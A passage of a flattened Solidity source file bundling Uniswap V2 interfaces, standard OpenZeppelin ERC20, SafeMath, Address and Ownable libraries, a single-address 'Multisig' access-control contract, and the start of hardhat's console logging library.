bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the subtraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
// File: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, value)
);
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(
oldAllowance >= value,
"SafeERC20: decreased allowance below zero"
);
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
newAllowance
)
);
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(
data,
"SafeERC20: low-level call failed"
);
if (returndata.length > 0) {
// Return data is optional
require(
abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed"
);
}
}
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: contracts/Multisig.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (a multisig) that can be granted exclusive access to
* specific functions.
*
* By default, the multisig account will be the one that deploys the contract. This
* can later be changed with {transferMultisig}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyMultisig`, which can be applied to your functions to restrict their use to
* the multisig.
*/
abstract contract Multisig is Context {
address private _multisig;
event MultisigTransferred(
address indexed previousMultisig,
address indexed newMultisig
);
/**
* @dev Initializes the contract setting the deployer as the initial multisig.
*/
constructor() {
_transferMultisig(_msgSender());
}
/**
* @dev Returns the address of the current multisig.
*/
function multisig() public view virtual returns (address) {
return _multisig;
}
/**
* @dev Throws if called by any account other than the multisig.
*/
modifier onlyMultisig() {
require(
multisig() == _msgSender(),
"Multisig: caller is not the multisig"
);
_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newMultisig`).
* Can only be called by the current multisig.
*/
function transferMultisig(address newMultisig) public virtual onlyMultisig {
require(
newMultisig != address(0),
"Multisig: new multisig is the zero address"
);
_transferMultisig(newMultisig);
}
/**
* @dev Transfers ownership of the contract to a new account (`newMultisig`).
* Internal function without access restriction.
*/
function _transferMultisig(address newMultisig) internal virtual {
address oldMultisig = _multisig;
_multisig = newMultisig;
emit MultisigTransferred(oldMultisig, newMultisig);
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount)
public
virtual
override
returns (bool)
{
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(
fromBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Updates `owner` s allowance for `spender` based on spent `amount`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(
currentAllowance >= amount,
"ERC20: insufficient allowance"
);
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: hardhat/console.sol
pragma solidity >=0.4.22 <0.9.0;
library console {
address constant CONSOLE_ADDRESS =
address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(
gas(),
consoleAddress,
payloadStart,
payloadLength,
0,
0
)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int256 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint256 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
